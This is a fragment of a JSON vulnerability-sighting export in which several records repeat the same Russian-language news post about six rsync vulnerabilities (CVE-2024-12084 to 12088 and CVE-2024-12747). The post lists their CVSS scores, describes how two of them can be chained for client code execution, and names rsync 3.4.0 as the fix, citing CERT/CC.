\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-27T00:00:39.477216Z"}, {"uuid": "2995f2f4-8ad0-4794-a5df-72c9d6405075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-27T00:00:39.534819Z"}, {"uuid": "3530f38b-d81a-4a51-b250-a449c520895f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-27T00:00:39.585252Z"}, {"uuid": "352b848e-9f62-48e3-bd90-9db66a11ea53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e 